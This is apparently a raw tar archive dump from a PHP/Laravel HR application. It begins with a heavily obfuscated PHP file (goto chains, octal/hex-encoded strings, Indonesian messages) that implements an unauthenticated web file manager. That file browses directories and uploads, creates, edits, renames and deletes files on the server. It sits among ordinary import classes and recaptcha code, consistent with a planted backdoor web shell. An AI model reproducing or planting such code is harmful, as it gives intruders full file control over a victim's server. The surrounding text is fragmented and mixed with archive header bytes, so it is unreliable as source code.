40\x6d\145\164\150\157\144\x3d\x22\160\x6f\163\x74\x22\x3e\xa\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x3c\151\156\160\165\x74\x20\164\x79\160\x65\x3d\42\164\145\170\x74\x22\x20\156\x61\x6d\145\x3d\42\x66\x6f\154\144\145\162\116\x61\155\145\x22\40\160\154\x61\x63\145\x68\157\x6c\144\x65\x72\75\42\116\141\x6d\x61\40\x46\x6f\x6c\x64\145\162\42\40\x72\145\161\x75\x69\x72\145\x64\76\xa\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x3c\142\165\164\164\x6f\156\40\x74\x79\x70\x65\75\42\x73\x75\142\x6d\151\164\42\x20\156\x61\155\145\75\x22\143\x72\145\141\164\x65\106\157\154\x64\x65\x72\42\x3e\103\x72\145\x61\x74\x65\x20\x46\157\154\144\145\x72\74\x2f\x62\x75\164\x74\x6f\x6e\76\xa\40\40\x20\x20\x20\x20\x20\40\74\57\146\x6f\162\155\x3e\12\12\40\40\x20\40\x20\x20\x20\40\74\150\63\76\125\160\x6c\157\x61\x64\x20\x46\x69\x6c\145\74\x2f\x68\63\76\xa\x20\40\x20\x20\40\x20\x20\x20\74\146\157\162\x6d\x20\141\x63\x74\151\157\156\75\42\x22\x20\155\x65\x74\x68\157\144\75\42\x70\x6f\163\164\x22\40\145\x6e\x63\164\x79\160\x65\75\x22\x6d\x75\x6c\x74\x69\160\x61\162\x74\57\146\x6f\162\x6d\x2d\x64\141\164\141\42\x3e\xa\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\74\151\156\160\165\164\x20\x74\171\x70\x65\x3d\x22\146\x69\x6c\x65\42\40\x6e\141\155\145\75\x22\146\x69\154\x65\x54\x6f\125\160\154\x6f\141\144\x22\40\162\x65\161\165\151\x72\x65\144\76\12\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\x3c\142\x75\164\x74\x6f\x6e\40\x74\x79\x70\x65\75\42\163\x75\142\155\x69\164\x22\40\156\x61\x6d\145\x3d\42\x75\x70\154\x6f\x61\144\x22\76\x55\160\x6c\157\141\x64\74\57\142\165\164\x74\x6f\156\76\12\40\40\x20\40\x20\40\40\x20\x3c\x2f\146\157\x72\x6d\x3e\xa\x20\x20\40\40\x3c\x2f\144\151\x76\x3e\xa\12\40\40\40\40\74\41\x2d\x2d\40\x4b\157\x6e\164\145\156\x20\125\x74\141\x6d\141\x20\x2d\55\76\12\40\40\x20\x20\74\144\x69\x76\x20\143\x6c\141\163\x73\75\x22\155\141\x69\x6e\55\x63\157\x6e\x74\145\x6e\164\x22\76\xa\40\40\40\x20\x20\x20\x20\40\74\150\x31\76\x46\x69\x6c\x65\40\115\141\x6e\x61\x67\145\162\74\x2f\150\x31\x3e\xa\12\40\40\x20\40\x20\x20\x20\x20\x3c\41\x2d\x2d\40\x4d\x65\x6e\x61\155\x70\151\x6c\x6b\141\156\40\x70\141\x74\x68\x20\x66\157\154\x64\x65\x72\40\171\141\x6e\147\40\163\x65\x64\141\156\x67\x20\141\153\x74\151\146\40\55\x2d\76\xa\40\x20\40\x20\40\x20\40\x20\x3c\160\x3e\74\x73\x74\x72\x6f\x6e\x67\76\103\x75\162\x72\x65\156\x74\40\104\x69\x72\145\143\x74\x6f\162\171\x3a\40\74\57\163\x74\x72\x6f\x6e\x67\x3e\12\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40"; goto kFGle; Cm7hn: if (file_exists($D74St)) { goto w8m3_; } goto g1mVk; wuhDn: kwxJ_: goto TLxx6; jkTRU: echo "\74\x2f\x68\62\x3e\xa\40\x20\40\40\x20\x20\40\x20\40\40\40\40\x3c\x66\157\162\155\40\x61\x63\164\x69\x6f\x6e\75\42\x22\40\155\145\x74\x68\157\x64\75\42\160\x6f\x73\x74\x22\76\12\x20\40\x20\40\40\40\40\40\40\x20\x20\40\40\40\40\40\x3c\x74\145\x78\164\x61\x72\145\x61\x20\x6e\x61\x6d\145\x3d\x22\x63\157\x6e\x74\145\156\x74\x22\40\x72\x6f\167\163\75\x22\61\60\42\76"; goto tEXAp; rnTUC: goto pYer4; goto xTDaw; Rzxpx: Q26qj: goto hbeDO; T7c1a: WjyZ0: goto uDRN7; Ei4Px: if (!file_exists($E6rFg)) { goto m0pYL; } goto qN_EY; JwSgY: zZW23: goto UBqlv; ae5fK: kv83l: goto WHnPE; e95B6: UvuI_: goto syC4j; sHTar: goto U1FRI; goto GOnyN; humho: goto KET1W; goto VkhzN; XltAX: rhP9I: goto K_EDl; D0xGH: lQ3Zs: goto xm9vK; SLPeg: goto fUCd5; goto R2Ceg; LSl1K: goto xLawX; goto RY9YP; aagUe: goto C2zLj; goto I_DiP; VaDuy: goto RLstR; goto aFeci; JvbmD: echo "\74\x64\x69\166\40\x63\x6c\x61\x73\x73\x3d\x27\141\154\x65\x72\x74\x20\145\162\x72\x6f\162\47\x3e\106\157\x6c\x64\145\x72\x20\163\x75\x64\x61\150\x20\x61\x64\x61\x21\x3c\57\144\151\x76\76"; goto dLsx4; SyOF6: MwTpC: goto uxdTX; MV_Yi: Lh9Sn: goto YlFaE; jRn8l: goto bcOpV; goto Rn6yE; pMI0k: goto sRBvw; goto SyOF6; k7Qld: XLuDu: goto Gkhnh; D9fqA: goto Gs823; goto nECWu; tEXAp: goto Zm4JU; goto gZzYL; a86NC: goto O69hW; goto Okwwj; i2EEm: goto Yh1BW; goto Ej05i; YLAPg: echo "\74\144\x69\x76\40\143\x6c\x61\163\x73\75\x27\141\x6c\x65\x72\164\x20\145\162\x72\157\162\47\76\x47\141\x67\141\154\x20\155\x65\156\x79\151\x6d\x70\141\156\40\x70\145\x72\x75\x62\x61\150\141\156\56\74\57\x64\151\x76\76"; goto t3SsT; IVUXl: goto EQJZm; goto gvewN; MxqDt: echo "\x20\40\40\x20\40\40\x20\40\74\x2f\x64\151\x76\x3e\12\xa\40\x20\40\40\40\40\x20\x20\74\41\55\x2d\40\115\x65\156\141\155\160\x69\x6c\153\x61\x6e\40\x64\x61\156\x20\x6d\145\x6e\147\x65\x64\x69\x74\x20\151\163\x69\x20\146\151\x6c\x65\x20\x2d\55\76\xa\40\40\x20\x20\x20\x20\40\40"; goto oE8uD; b3ArI: echo "\74\144\151\x76\x20\x63\154\x61\163\163\75\47\141\154\x65\x72\x74\x20\163\165\x63\143\145\x73\163\x27\x3e\x46\x69\154\145\40\x62\141\162\165\x20\142\145\162\150\141\x73\x69\x6c\40\x64\151\142\165\141\x74\72\x20" . $_POST["\146\x69\x6c\145\x4e\x61\155\145"] . "\56\x74\x78\164\74\x2f\144\151\x76\76"; goto cPnaW; esh0T: z5qhA: goto igY4w; XJTa0: XzxwB: goto bATL0; uMZzh: sExAw: goto axHn1; X9Go8: Zm4JU: goto UfXWg; JODxn: AYenp: goto NrjPr; WHnPE: if (!($GZQzY["\x65\162\162\157\x72"] != 0)) { goto CNIOq; } goto Y353s; PrQwZ: EQ5VR: goto Qpu3Z; vfo_j: J0nWv: goto KOuSU; IjxM3: goto HQTwA; goto k2W5f; PGgwr: fU322: goto qAdDb; C68fV: XGgII: goto RWSRI; dxEuh: goto En4Oz; goto Oj51x; Y353s: goto VL1W1; goto r9SYJ; oE8uD: goto p86wh; goto GwFuX; K_EDl: $EyYvA = $n0gg8 . "\57" . basename($GZQzY["\156\141\155\145"]); goto guxLf; xzz0J: GhhLH: goto YLAPg; qNH73: echo "\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x3c\141\40\150\x72\145\x66\x3d\x22\x3f\146\x6f\x6c\x64\x65\x72\x3d"; goto qVoPe; kFGle: goto z5qhA; goto zg2pD; Pa34z: goto ATztF; goto JxBbc; QW8G6: goto P4xAi; goto otNWC; AHcPi: xPlyc: goto uki9I; y3xvo: AYmKf: goto Wc5za; Fdt9a: goto Zi3Ab; goto URczP; jmifH: goto hL_P1; goto O9NMd; IA0aB: ElTBj: goto hksn0; oD_n0: goto QH1t1; goto syC_c; NifCT: G4aUu: goto v1B3k; OEwBy: goto PXlu1; goto Hdyfs; kE38C: goto rblKx; goto G1VXh; uDRN7: goto Mu20T; goto sIpcF; Oj51x: hFusW: goto YzQAv; wPg1Y: Zi3Ab: goto nfzWG; IeGOq: goto r0mPW; goto TxTjo; qv1cE: goto Z19Rs; goto eK2O1; PYtIm: cfmXh: goto qNH73; Q8QsM: Sd20d: goto Ej9nm; fRh2P: goto yS0d6; goto EzQK2; JWlxH: goto tw8Ck; goto XTDYV; oyGno: HsG8M: goto XlBt6; dbOFu: goto PWJ9e; goto lbizJ; SQIWr: echo "\x3c\x64\151\166\x20\143\154\x61\x73\x73\x3d\47\x61\x6c\x65\x72\164\x20\x65\162\x72\157\162\x27\76\106\x69\x6c\145\40\x74\x69\144\x61\153\x20\x64\151\x74\x65\x6d\165\153\x61\x6e\x2e\74\x2f\x64\151\x76\76"; goto f75dw; qAdDb: if (is_dir($onnND)) { goto iR7Rx; } goto N2qsc; Q9zk4: if (isset($_POST["\x63\x72\x65\x61\164\145\x46\x6f\154\x64\x65\x72"])) { goto UvuI_; } goto WOD1I; BKLTP: CeiB6: goto HnHOG; cWyf2: yvJpo: goto hAVPh; QVZHO: tBF8t: goto VyTnw; iKYHq: KAPM7: goto GREBG; rVTdW: gtteL: goto RW5MZ; jfPLS: $vArBl = ''; goto a86NC; k2W5f: p86wh: goto BsiER; CLQ7z: f36XT: goto YXLq_; gXYIz: tw8Ck: goto W0Ay2; HnHOG: $Kjgrq = dirname($n0gg8); goto c1jw2; ZQz6I: goto O_LOX; goto Rzxpx; Z1Xqv: nI6L4: goto SQIWr; s7CPi: echo "\74\144\x69\x76\x20\x63\x6c\141\163\x73\x3d\47\141\x6c\x65\x72\164\40\x73\165\x63\x63\145\163\x73\x27\x3e\106\x6f\x6c\x64\x65\x72\40\142\141\162\x75\40\x62\145\x72\x68\x61\163\x69\154\x20\144\x69\142\165\141\x74\72\40" . $_POST["\x66\x6f\154\x64\145\162\x4e\x61\155\x65"] . "\74\x2f\x64\151\x76\76"; goto s3Yct; R2Ceg: goto XLuDu; goto rXFnq; aFeci: pzVQS: goto khU9l; s3Yct: goto ZH1Fe; goto BKLTP; QvI_o: ZRmic: goto zuqfd; PjMZo: goto Wf9la; goto t1EQl; c1jw2: goto Drlz7; goto cWyf2; Kasef: EaT_s: goto c_VjS; Qpu3Z: goto oUUys; goto JomkX; Dk_Sm: Gs823: goto uweB1; SJUi3: goto nI6L4; goto XJTa0; k_YNO: QPvAo: goto mHsSt; GD3Ue: goto jS3U4; goto SxqGO; BqjQl: GS9ZD: goto FDk9i; EzQK2: wr_qF: goto Fdt9a; QRGfy: goto RhEHW; goto qikX8; f8wV1: bwbXx: goto vMxul; RW5MZ: goto H318E; goto ZvGJM; ZOH1X: goto AYmKf; goto E6HBA; g1mVk: goto Psfqr; goto ZsgSB; bo2Mi: if (isset($_POST["\143\162\145\x61\164\145\106\151\x6c\x65"])) { goto UN1PV; } goto LSl1K; KOuSU: q8CYw: goto BGevR; khU9l: $Oo1ig = []; goto PjMZo; ab_fS: foreach ($fn0q5 as $EpPWJ) { goto cui_h; DmmyB: echo "\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\40\74\x2f\x64\151\x76\76\xa\40\40\40\40\40\40\x20\40\40\40\x20\x20"; goto m9Feu; x_jk4: goto yH6BY; goto qiRw5; SqIYr: pgsTO: goto z8WSo; kmzE8: goto bUCgz; goto D5d4A; wnkE1: goto pgsTO; goto Tl_gG; NnnwK: Zl8uh: goto GqvXN; WLxvW: CfnxZ: goto JR0L6; OCeFy: goto TSBcW; goto KGtNG; nrRav: goto JOK3a; goto WLxvW; iBJE4: echo "\x22\76"; goto jaPWT; GqvXN: TSBcW: goto iDcY0; Y23xr: d7bjY: goto x_jk4; Z1UZb: kmmUR: goto qp7G6; sjJEg: goto D3qzB; goto Dm17l; xw1HY: goto n3ia5; goto zfxFd; vRZp6: goto K0jFj; goto z2wMO; Dm17l: bUCgz: goto i1LuM; W7Z57: av9rc: goto yIVZZ; hyE4g: echo urlencode($n0gg8 . "\x2f" . $EpPWJ); goto wnkE1; qKlIM: goto CfnxZ; goto SqIYr; BSQ_K: echo $EpPWJ; goto gkCNY; F53tT: K8hey: goto I_1vI; qdkx8: RJSFC: goto eNA1A; tCPFi: echo "\42\76\xa\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x3c\151\x6e\x70\x75\164\x20\x74\171\160\145\x3d\x22\x74\x65\170\x74\x22\x20\x6e\x61\x6d\x65\x3d\42\x6e\145\167\x4e\141\x6d\x65\42\40\x70\x6c\141\143\145\x68\157\x6c\x64\145\x72\75\x22\116\145\x77\x20\116\141\x6d\x65\42\x20\162\145\161\165\x69\162\x65\144\x3e\12\40\40\40\40\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x3c\x62\165\164\164\157\x6e\x20\164\x79\x70\145\75\x22\x73\165\x62\x6d\x69\x74\42\x20\156\x61\155\x65\75\x22\x72\145\x6e\x61\x6d\145\x22\x3e\x52\145\156\141\155\145\74\x2f\142\165\x74\x74\157\x6e\x3e\xa\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\40\74\x2f\146\x6f\x72\155\x3e\xa\40\40\x20\40\x20\40\x20\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\74\x66\x6f\x72\x6d\x20\141\143\164\151\x6f\x6e\x3d\x22\x22\40\155\145\x74\150\x6f\x64\75\x22\160\x6f\x73\164\42\40\x73\x74\171\x6c\145\75\42\x64\x69\163\160\x6c\x61\171\x3a\x20\151\x6e\x6c\x69\x6e\x65\x3b\42\76\xa\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\74\151\x6e\x70\165\x74\40\x74\x79\160\x65\x3d\42\x68\151\x64\144\145\156\x22\40\x6e\141\x6d\x65\75\x22\x66\x69\x6c\145\x4e\141\x6d\x65\x54\157\105\144\151\164\42\x20\x76\141\x6c\x75\145\x3d\x22"; goto BG4ha; xeVRO: vYRYs: goto tCPFi; eNA1A: echo $EpPWJ; goto jJqVw; uBWNT: goto GDUa5; goto rU80b; iwd9x: JOK3a: goto qnrdr; jaPWT: goto RJSFC; goto Fd_dt; cui_h: goto gDMCN; goto zdFla; i1LuM: if (!is_dir($n0gg8 . "\57" . $EpPWJ)) { goto OFO9O; } goto pyv4C; j5W54: goto jFh2C; goto jJFLz; w0Z8q: goto HMpMX; goto Z1UZb; z8WSo: echo "\x22\x3e"; goto w0Z8q; yIVZZ: iG0sk: goto Z88Zm; u3i3J: echo urlencode($EpPWJ); goto H98yM; jJqVw: goto K8hey; goto W7Z57; zfxFd: HMpMX: goto mze3S; BgZKt: yH6BY: goto IaVb7; agMLq: goto gFm39; goto M4w60; pPKMt: D3qzB: goto sXoGb; JR0L6: echo $EpPWJ; goto uBWNT; nWC33: echo "\x22\x3e\12\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\74\x62\x75\x74\164\x6f\x6e\40\164\x79\160\x65\75\42\x73\165\142\155\x69\x74\x22\x20\156\x61\155\x65\x3d\x22\x64\x65\154\x65\x74\x65\42\40\x63\154\141\x73\x73\x3d\x22\144\145\154\145\164\x65\42\76\104\145\x6c\x65\x74\145\74\57\x62\165\x74\164\x6f\x6e\x3e\xa\40\40\40\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x3c\57\146\157\x72\x6d\x3e\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x3c\57\x64\151\x76\76\xa\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20"; goto j4rx1; zdFla: gDMCN: goto ppkAi; z2wMO: eUAnz: goto kFLg9; gkCNY: goto NgKYY; goto MfOm3; jJFLz: YFT1E: goto hyE4g; nlHw2: OFO9O: goto W5BOu; QxeJW: echo "\x22\x3e\12\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\74\x62\165\164\x74\157\x6e\x20\164\x79\x70\145\75\42\x73\165\142\x6d\151\x74\x22\x20\x6e\x61\x6d\x65\75\42\x65\144\151\164\42\76\105\x64\x69\164\74\57\x62\165\164\164\x6f\156\x3e\xa\40\40\40\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\74\x2f\x66\157\162\x6d\x3e\xa\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\74\x66\157\162\x6d\40\x61\143\164\151\157\156\x3d\x22\42\40\x6d\145\x74\x68\157\144\75\x22\160\157\x73\164\x22\x20\163\x74\171\x6c\x65\75\x22\x64\151\x73\x70\154\x61\171\x3a\40\151\156\x6c\151\x6e\x65\x3b\42\76\xa\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\74\151\156\x70\165\164\x20\x74\x79\x70\145\75\42\150\x69\x64\x64\x65\156\42\40\156\141\x6d\x65\x3d\x22\x6e\141\155\145\x54\x6f\104\x65\154\x65\x74\x65\x22\40\166\141\x6c\x75\145\75\42"; goto qKlIM; UAPi6: goto YFT1E; goto VEktN; jFgf1: echo $EpPWJ; goto u8lh5; kEYIF: jFh2C: goto u3i3J; Tl_gG: GJxYb: goto iBJE4; IaVb7: Ig0Tu: goto m7akx; Z88Zm: goto eUAnz; goto vNKk0; I_1vI: echo "\74\57\141\76\xa\40\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x3c\x64\151\166\x20\143\154\141\163\163\x3d\42\141\x63\164\151\x6f\156\163\x22\76\xa\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\74\x66\157\x72\155\40\141\143\164\151\157\156\x3d\x22\x22\40\x6d\145\164\150\157\x64\75\x22\x70\157\x73\x74\42\40\163\164\171\154\x65\75\42\144\x69\163\x70\x6c\x61\171\x3a\x20\151\x6e\x6c\151\x6e\145\x3b\x22\76\xa\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x3c\151\x6e\x70\165\x74\40\x74\x79\x70\x65\75\x22\150\x69\144\x64\x65\x6e\42\40\x6e\141\x6d\145\x3d\42\157\x6c\144\x4e\x61\x6d\x65\42\40\x76\141\154\165\x65\x3d\42"; goto nrRav; KGtNG: goto av9rc; goto iwd9x; W5BOu: goto iwyr6; goto NnnwK; vNKk0: HSOBz: goto DmmyB; BG4ha: goto WyhKb; goto dGcLN; ppkAi: echo "\40\40\40\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\x3c\x64\x69\166\x20\143\154\x61\163\163\x3d\x22\x66\151\x6c\145\x2d\151\164\145\x6d\42\x3e\xa\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40"; goto kmzE8; M4w60: WyhKb: goto BSQ_K; U1LuT: echo "\42\x3e\12\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\x3c\x62\x75\x74\x74\157\156\x20\x74\x79\x70\x65\x3d\x22\163\165\x62\155\x69\164\x22\x20\x6e\141\155\145\75\x22\x64\x65\154\145\164\145\x22\x20\x63\154\x61\163\163\x3d\x22\144\145\x6c\x65\x74\x65\42\x3e\x44\145\154\x65\x74\x65\74\57\142\x75\164\164\157\x6e\76\xa\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x3c\x2f\x66\157\162\x6d\x3e\12\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x3c\x2f\144\151\166\76\xa\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20"; goto iz7ns; qnrdr: echo $EpPWJ; goto GKxaE; u8lh5: goto kmmUR; goto xeVRO; kFLg9: echo "\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x3c\163\x74\162\157\x6e\x67\76\106\157\154\144\145\162\x3a\40\x3c\57\x73\x74\x72\157\156\x67\x3e\xa\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x3c\141\40\150\162\145\146\x3d\x22\x3f\146\157\x6c\x64\x65\x72\75"; goto UAPi6; iz7ns: goto Zl8uh; goto LOyDC; iDcY0: goto HSOBz; goto qdkx8; mze3S: echo $EpPWJ; goto sjJEg; j4rx1: goto Rf6_T; goto pPKMt; VEktN: gFm39: goto F_mIj; Fd_dt: K0jFj: goto jFgf1; D5d4A: Qwn4S: goto Y23xr; GKxaE: goto vYRYs; goto kEYIF; sXoGb: echo "\x3c\57\141\x3e\xa\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\40\40\40\x20\74\144\151\166\x20\143\154\x61\x73\x73\75\x22\141\x63\x74\x69\x6f\x6e\163\42\x3e\xa\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x3c\x66\157\162\x6d\x20\141\x63\x74\x69\x6f\156\x3d\42\x22\40\x6d\x65\164\x68\157\144\x3d\42\160\157\x73\x74\42\40\x73\x74\x79\154\x65\75\x22\144\x69\x73\x70\x6c\x61\x79\x3a\x20\x69\156\x6c\x69\156\x65\73\42\76\xa\40\40\40\40\40\40\x20\40\40\40\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\74\151\156\160\165\x74\x20\164\x79\160\145\x3d\x22\150\151\144\144\145\156\42\40\x6e\x61\155\x65\x3d\42\157\154\144\x4e\141\x6d\145\42\x20\x76\x61\x6c\x75\145\75\42"; goto vRZp6; qp7G6: echo "\x22\x3e\12\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\74\151\x6e\160\165\164\40\164\x79\160\145\x3d\42\164\x65\x78\164\x22\x20\x6e\141\155\145\x3d\42\156\145\x77\x4e\141\155\x65\x22\x20\160\154\141\143\x65\x68\157\x6c\144\145\x72\x3d\42\x4e\145\x77\40\116\x61\x6d\x65\42\x20\x72\145\x71\x75\x69\x72\x65\144\x3e\xa\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\74\x62\165\164\x74\x6f\156\40\164\171\x70\145\x3d\42\x73\165\142\x6d\x69\164\42\x20\156\x61\155\x65\x3d\x22\x72\145\156\141\155\x65\42\76\122\x65\156\141\x6d\x65\x3c\x2f\x62\x75\x74\164\x6f\x6e\x3e\xa\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\74\x2f\x66\157\162\155\x3e\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\x3c\146\x6f\x72\x6d\x20\141\x63\164\151\157\156\75\42\x22\40\155\145\x74\x68\157\x64\x3d\x22\160\x6f\x73\x74\x22\40\x73\x74\x79\154\x65\75\42\144\151\163\160\x6c\141\171\72\x20\151\156\x6c\151\156\x65\x3b\x22\x3e\xa\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\x3c\x69\156\160\x75\x74\40\x74\x79\x70\x65\x3d\42\x68\151\144\144\x65\x6e\x22\x20\156\x61\x6d\145\x3d\x22\x6e\x61\x6d\145\124\157\x44\145\154\x65\164\145\42\x20\166\x61\154\165\145\75\x22"; goto agMLq; cCuaS: echo "\40\x20\40\40\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\74\x73\164\x72\x6f\156\147\x3e\x46\x69\x6c\x65\72\40\74\57\x73\x74\x72\157\156\x67\x3e\12\40\40\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\40\x3c\141\40\150\162\145\146\75\x22\x3f\146\x69\x6c\145\x3d"; goto j5W54; pyv4C: goto iG0sk; goto nlHw2; dGcLN: GDUa5: goto nWC33; m9Feu: goto Qwn4S; goto BgZKt; F_mIj: echo $EpPWJ; goto xw1HY; H98yM: goto GJxYb; goto F53tT; MfOm3: n3ia5: goto U1LuT; rU80b: iwyr6: goto cCuaS; qiRw5: NgKYY: goto QxeJW; LOyDC: Rf6_T: goto OCeFy; m7akx: } goto QVZHO; F85OE: goto J0nWv; goto ae5fK; sgf5j: v6Rsb: goto MxqDt; tGKw2: $GZQzY = $_FILES["\146\x69\154\145\124\157\125\160\154\157\x61\x64"]; goto Adei1; FAPTb: echo urlencode($Kjgrq); goto rnTUC; EUq9V: goto euBfH; goto CLQ7z; NrjPr: sOLqF: goto kE38C; dLsx4: goto c4IFx; goto Bo5bC; qVoPe: goto MXaor; goto WA4nM; vMxul: goto g9HzY; goto iKYHq; LEqAV: echo basename($Kjgrq); goto f14NY; N7uum: goto zZW23; goto vRjLN; X9pD8: fwJlJ: goto fsZ5U; guxLf: goto kv83l; goto F9klN; BQ92M: goto SCgdV; goto ZDtZA; qpgpb: Psfqr: goto qLKc5; EsTfd: goto sExAw; goto JODxn; qWPuq: goto WSYBR; goto Sn00V; rraBx: goto A8unQ; goto eXKp0; JomkX: goto GELLA; goto KCtf_; QfM9m: goto r2qEp; goto QmNMw; AcPvY: goto KAPM7; goto kKa0I; AlFv8: goto RXALL; goto RHItP; hksn0: if (!(file_put_contents($PBS5u, $I0CrO) !== false)) { goto QPvAo; } goto BHR5q; av__P: ahiE1: goto jC0tS; I0oty: goto ElTBj; goto Tl9DN; KIc7d: goto B7InS; goto HE1wS; bATL0: goto VC_YA; goto VMMv2; RMCkf: goto k6PsE; goto Q8QsM; xv2xR: unlink($Wtv0t); goto Rycxj; DWR1p: ZN2HL: goto FN3ai; rXFnq: EQJZm: goto jkTRU; V5u3Y: goto URQcM; goto sgf5j; zv6IN: C2zLj: goto JCT7J; bUSf4: Mu20T: goto tGKw2; jUtob: goto rcbgi; goto GIdhg; O9NMd: bcOpV: goto ysrZD; qT6dB: $PBS5u = $n0gg8 . "\57" . $IsUKc; goto jRn8l; p5kWt: goto BNXOt; goto Jx9CQ; oM9D7: $D74St = $n0gg8 . "\x2f" . $_POST["\146\151\154\x65\116\x61\x6d\145"] . "\56\164\170\x74"; goto IeGOq; jLDFC: echo "\x3c\144\151\x76\40\x63\154\141\x73\x73\x3d\x27\x61\154\145\x72\164\x20\x65\x72\162\157\162\47\x3e\x46\151\x6c\145\40\x61\x74\141\x75\40\x66\157\154\x64\145\x72\x20\144\x65\156\x67\141\156\x20\x6e\141\155\141\40\151\156\x69\40\x73\165\144\141\150\x20\141\x64\x61\56\74\x2f\x64\x69\x76\x3e"; goto mkLtC; H6mSS: goto hFusW; goto KY__V; t1EQl: O69hW: goto bo2Mi; OZdUu: goto CeiB6; goto myCb8; uweB1: goto Z8PHs; goto QW8G6; Rycxj: goto llxfd; goto WeSir; IxwC9: goto FeFFH; goto bUSf4; BsiER: if ($TaAmE) { goto wr_qF; } goto fRh2P; myCb8: k6PsE: goto LEqAV; bQ51e: echo "\x20\x20\40\40\x3c\57\x64\151\x76\76\xa\74\57\x64\x69\166\76\12\12\x3c\x2f\142\x6f\x64\171\x3e\xa\x3c\x2f\x68\164\x6d\154\x3e\12\12\40\77\x3f\x3f\103\77\x9\x9\xa\12\xa\xa\x9\xa\77\x3f\77\x43\77\x3f\77\x3f\77\x22\x3f\x3f\x3f\77\77\x3f\x3f\77\x3f\77\x3f\77\77\77\11\xa\77\x3f\77\77\x3f\x3f\x3f\175\x3f\41\61\x41\x51\141\42\x71\x32\x3f\77\77\43\102\x3f\77\x52\x3f\x3f\x24\x33\x62\x72\x3f\11\xa"; ?>Imports/HolidayImport.php000064400000001274150364306410011504 0ustar00 $row['occasion'], 'start_date' => date('Y-m-d', strtotime($row['start_date'])), 'end_date' => date('Y-m-d', strtotime($row['end_date'])), 'created_by' => \Auth::user()->id, ]); } } Imports/index.php000064400000000000150364306410010011 0ustar00Imports/EmployeesImport.php000064400000000410150364306410012044 0ustar00request->all(); $token=isset($request['g-recaptcha-response']) ? $request['g-recaptcha-response'] : ""; $setting = \App\Models\Utility::settings(); $secretKey = $setting['google_recaptcha_secret']; $url = 'https://www.google.com/recaptcha/api/siteverify'; $data = array( 